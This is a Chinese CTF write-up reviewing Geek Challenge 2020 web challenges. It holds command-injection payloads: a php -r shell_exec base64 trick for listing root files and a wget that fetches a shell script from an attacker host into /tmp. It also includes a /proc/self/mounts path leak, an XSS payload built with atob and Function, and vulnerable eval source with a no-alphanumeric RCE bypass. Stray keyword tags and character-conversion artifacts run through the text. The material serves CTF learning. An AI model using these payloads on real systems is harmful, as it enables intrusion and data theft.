今天極客大挑戰的官方WP出了,想着把一些沒作過的題目復現一下,還有一些沒見過的知識順便學一下,不過環境關掉了,55555555,只能虛空復現,找找知識點,以後有在BUUCTF上了再補上吧。javascript
比賽完的WP:三葉草 極客大挑戰2020 部分題目Writeupphp
官方WP地址:極客大挑戰2020 官方Write-up (qq.com)html
這題居然直接用聯合查詢就能夠出來,emmmm當時我是腦抽仍是怎麼了,怎麼就寫不出來,好像是本身用order by沒出來,而後直接用union select也沒試出來,當時直接用3列的,看了這裏用四列的,逃。聯合查詢就是正常的方式就能夠出來了,看WP沒有特殊的過濾。前端
本身當時用的是預期解出來的,不過也不咋算預期,都是用了命令執行,當時我用的是`find / -name flag`,經過反引號執行命令而後直接找flag文件帶出來,不過須要考慮到這裏的flag文件名,此次知識碰巧沒改文件名,因此能夠帶出來,可是若是下次改了就很差說了,因爲這裏過濾了"|"管道符,不能用ls / | base64,三葉草師傅的方法是php -r "echo base64_encode(shell_exec('ls /'));",很好的避開了管道符,而後經過php的base64帶出根目錄下的內容。java
第二種方法:因爲沒有禁用/tmp目錄,能夠在/tmp目錄下寫sh文件而後執行,又是漲知識,這還真沒想到,膜。web
這裏並無說該用什麼方法,考慮到"<"和">"被過濾了,而後我就不會寫入的方式了 不過能夠用wget命令 wget --output-document /tmp/a.sh ip/1.txt 1.txt寫本身想要的sh文件 因爲環境關了,因此這裏不知道這個方法是否是可行
還有一種非預期的解法,由於出題人配置文件沒有寫好,致使/proc/self/mounts泄露flag路徑shell
當時是經過jsFUCK作的,還有另一種方式是Function自定義函數加上atob解密base64。數組
btoa("alert(1)") "YWxlcnQoMSk=" atob("YWxlcnQoMSk=") "alert(1)" atob(YWxlcnQoMSk=) 執行失敗,因爲單雙引號都被過去了,這裏使用反引號執行命令 atob`YWxlcnQoMSk=` "alert(1)" 可是建立完以後是字符串,咱們須要它執行起來,javascript經過${}能夠去到對應的值 參考:https://blog.csdn.net/blog_szhao/article/details/51792868 https://blog.csdn.net/lgh1117/article/details/51278406 Function`a${atob`YWxlcnQoMSk=`}` ƒ anonymous(a, ) { alert(1) } 這裏主要利用的是fuction自定義函數,不過不知道爲啥參數能夠不用隔開的,這個有點厲害 參考:https://javascript.info/new-function Function`a${atob`YWxlcnQoMSk=`}``` 最後的``反引號能夠作自執行
感受這裏本身對前端代碼的理解還不是特別清楚,若是有大佬懂的話,還望評論說說,嗚嗚嗚。session
測試了一下存在源碼泄露,存在.index.php.swp文件,先放一下源碼:函數
/********************************** * * author : Longlone * type : Backup * **********************************/ <?php error_reporting(0); session_start(); if(!isset($_SESSION['code'])){ $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5); } if(isset($_POST['cmd']) and isset($_POST['code'])){ if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){ die('<script>alert(\'Captcha error~\');history.back()</script>'); } $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5); $code = $_POST['cmd']; if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){ die('<script>alert(\'Longlone not like you~\');history.back()</script>'); }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){ @eval($code); die(); } } ?>
兩個判斷:一、無字母數字and一些特殊字符的繞過;二、無參數的RCE。這題能夠說當時想的最久可是仍是沒寫出的了,當時的想法來源於P神的一篇文章:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html,**(%8F%97%8F%96%91%99%90)();**寫着這樣子繞過,能繞過第一層if,可是第二層if就不行了,看到題目有提示:注意括號(我記得應該是這樣的,錯了別打)因而測試了"[]"和"{}"的各類各樣,無果!果真菜的就是我。WP歸納一句[(異或)][!%FF]的形式組成字符串,而後無參數RCE。M3師傅跟我說這裏其實跟數組差很少,用法以下:
php -r "echo [1,2][0];" 返回1 把他當作一個數組,而後取下標爲0的內容,因爲這裏不能用(),因此改爲了[][0],不過0不過濾了,改爲!%FF,%FF爲True,加了感嘆號變成了False 測試 php -r "echo [1,2][False];" 返回1
今天想到這裏吧,剩下的過幾天繼續覆盤
本文做者:erR0Ratao
本文連接:https://www.cnblogs.com/erR0Ratao/p/14077015.html